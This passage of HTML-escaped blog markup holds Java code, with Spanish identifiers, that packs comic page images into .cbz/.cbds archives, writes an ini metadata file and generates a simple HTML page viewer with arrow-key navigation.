+"/image.png")); leido = 0;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;while( 0 &amp;lt; (leido = fis.read(buffer)) ) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;comicBook.write(buffer, 0, leido);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} fis.close();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;comicBook.closeEntry();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;     &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;if (formato.equalsIgnoreCase(".cbz")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;comicBook.putNextEntry(new ZipEntry(nombre + " - " +nrPag+".png"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp;dimensionarImagen(buffy, TEMPORAL + nombre +"/image.png", false, 700, 1400, 860000);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp;fis = new FileInputStream(new File(TEMPORAL + nombre +"/image.png")); leido = 0;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;while( 0 &amp;lt; (leido = fis.read(buffer)) ) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;comicBook.write(buffer, 0, leido);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;} fis.close();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;comicBook.closeEntry();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;comicBook.putNextEntry(new ZipEntry("imagenes/" + nombre + " - " +nrPag+".png"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp;dimensionarImagen(buffy, TEMPORAL + nombre +"/image.png", false, 0, 0, 0);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp; &amp;nbsp;fis = new FileInputStream(new File(TEMPORAL + nombre +"/image.png")); leido = 0;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;while( 0 &amp;lt; (leido = fis.read(buffer)) ) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;comicBook.write(buffer, 0, leido);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;} fis.close();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;comicBook.closeEntry();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} nrPag++;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;if(formato.equalsIgnoreCase(".cbds")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;comicBook.putNextEntry(new ZipEntry("ComicBookDS_book.ini"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;fis = new FileInputStream(archivoIni(nombre, true));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(formato.equalsIgnoreCase(".cbz")) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;comicBook.putNextEntry(new ZipEntry("ComicBookZip_book.txt"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;fis = new FileInputStream(archivoIni(nombre, false));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;comicBook.putNextEntry(new ZipEntry("ComicBook_index.html"));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;fis = new FileInputStream(archivoIni(nombre));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} leido = 0;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;while( 0 &amp;lt; (leido = fis.read(buffer)) ) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;comicBook.write(buffer, 0, leido);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} fis.close();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;comicBook.closeEntry();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;comicBook.close();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} catch (java.util.NoSuchElementException e) {&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;modelo.setValueAt("Ruta no Valida", indice, modelo.findColumn("Estado"));&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;return false;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} catch (Exception e) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;e.printStackTrace();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;modelo.setValueAt(e.getClass().getName(), indice, modelo.findColumn("Estado"));&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;return false;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;return true;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private File archivoIni(String nombre, boolean isDS) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;try { File fIni = new File(TEMPORAL + nombre + "/book.txt");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;java.io.FileOutputStream ini = new java.io.FileOutputStream(fIni);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write(("CbCredits1 = " + modelo.getValueAt(indice, modelo.findColumn("Titulo")) + "; --Titulo--\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write(("CbCredits2 = " + modelo.getValueAt(indice, modelo.findColumn("Autor")) + "; --Autor--\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write(("CbCredits3 = " + proveedor + "; --Proveedor--\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((("LeftToRight = " + (modelo.getValueAt(indice, modelo.findColumn("Manga")).equals(false)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt; &amp;nbsp;?"1; --No" : "0; --Si")) + " es lectura Manga--\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write(("NbPages = " + (nrPag - 1) + "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write("Version = 1.5\r\n".getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write(("iHeight = " + 1400 + "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write(("iQuality = " + 90 + "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write(("iSize = " + 860000 + "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write(("iWidth = " + 700 + "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;if (isDS) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;ini.write(("oHeight = " + 192 + "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;ini.write(("oQuality = " + 90 + "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;ini.write(("oSize = " + 0 + "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;ini.write(("oWidth = " + 256 + "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;ini.write(("thHeight = " + 46 + "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;ini.write(("thQuality = " + 90 + "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;ini.write(("thSize = " + 0 + "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;ini.write(("thWidth = " + 62 + "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;ini.close();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;return fIni;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} catch (Exception e) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;e.printStackTrace();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;return null;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private File archivoIni(String nombre) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;try { File fIni = new File(TEMPORAL + nombre + "/book.html");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;java.io.FileOutputStream ini = new java.io.FileOutputStream(fIni);&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write(("&amp;lt;!DOCTYPE HTML&amp;gt;\r\n&amp;lt;HTML&amp;gt;"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;lt;HEAD&amp;gt;"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp;&amp;lt;TITLE&amp;gt;Browser &amp;amp;mdash; "+modelo.getValueAt(indice, modelo.findColumn("Titulo"))&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt;+" &amp;amp;mdash; Cony 1.5&amp;lt;/TITLE&amp;gt;"+ "\r\n\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp;&amp;lt;script type=\"text/javascript\"&amp;gt; &amp;nbsp; var nroPag = 1;"+ "\r\n\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; document.onkeydown = (function(evt) {"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; &amp;nbsp; if(evt.keyCode == 37) { &amp;nbsp; &amp;nbsp; &amp;nbsp; moverImagen(-1);"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; &amp;nbsp; } else {"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; &amp;nbsp; &amp;nbsp; if(evt.keyCode == 39) { &amp;nbsp; &amp;nbsp; moverImagen(1); }"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; &amp;nbsp; }"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; });"+ "\r\n\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; function moverImagen(mov) {"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; &amp;nbsp; if (((nroPag + mov) &amp;gt; 0) &amp;amp;&amp;amp; ((nroPag + mov) &amp;lt; "+nrPag+")) {"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; &amp;nbsp; &amp;nbsp; nroPag = nroPag + mov;"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; &amp;nbsp; &amp;nbsp; document.getElementById('imagen').src =" +&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;       &lt;/span&gt; &amp;nbsp; "\"imagenes/"+modelo.getValueAt(indice, modelo.findColumn("Titulo"))+" - \"+nroPag+\".png\";"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; &amp;nbsp; &amp;nbsp; window.scrollTo(0,0);"+ "\r\n").getBytes());&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;//vuelve arriba&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; &amp;nbsp; }"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; }"+ "\r\n\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp;&amp;lt;/script&amp;gt;"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;lt;/HEAD&amp;gt;"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;lt;BODY align =\"center\""+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; &amp;nbsp; &amp;nbsp; style=\"background-color: black;"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;background-attachment: fixed;"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;background-repeat:no-repeat;\"&amp;gt;"+ "\r\n\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp;&amp;lt;h3 style=\"color:white;\"&amp;gt;"&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;+ modelo.getValueAt(indice, modelo.findColumn("Titulo")) +"&amp;lt;/h3&amp;gt;\r\n\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp;&amp;lt;img id=\"imagen\" onclick=\"moverImagen(1);\""&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;+ " src=\"imagenes/" +modelo.getValueAt(indice, modelo.findColumn("Titulo"))+" - 1.png\" /&amp;gt;"+ "\r\n\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp;&amp;lt;h6 style=\"color:white;\"&amp;gt;"+ (nrPag - 1) +" pags \r\n").getBytes());&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;amp;mdash; "+ modelo.getValueAt(indice, modelo.findColumn("Autor")) +"\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;nbsp;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt; &amp;nbsp; &amp;amp;mdash; "+ proveedor +"&amp;lt;/h6&amp;gt; \r\n\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write((" &amp;lt;/BODY&amp;gt;"+ "\r\n").getBytes());&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.write(("&amp;lt;/HTML&amp;gt;"+ "\r\n").getBytes());&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;ini.close();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;return fIni;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} catch (Exception e) {&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;e.printStackTrace();&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;return null;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;private void dimensionarImagen(BufferedImage buffy, String nombre, boolean rotar,&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt;      &lt;/span&gt;int width, int height, int maxsize)&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;         &lt;/span&gt;throws java.io.IOException {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;BufferedImage imagen;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;java.awt.Image img;&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;if((buffy.getWidth() &amp;gt; width || buffy.getHeight() &amp;gt; height) &amp;amp;&amp;amp; (width != 0 &amp;amp;&amp;amp; height != 0)) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;if((buffy.getWidth()/width) &amp;gt; (buffy.getHeight()/height)) {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;width = buffy.getWidth()/(buffy.getWidth()/width);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;height = buffy.getHeight()/(buffy.getWidth()/width);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;} else {&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;width = buffy.getWidth()/(buffy.getHeight()/height);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;height = buffy.getHeight()/(buffy.getHeight()/height);&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span 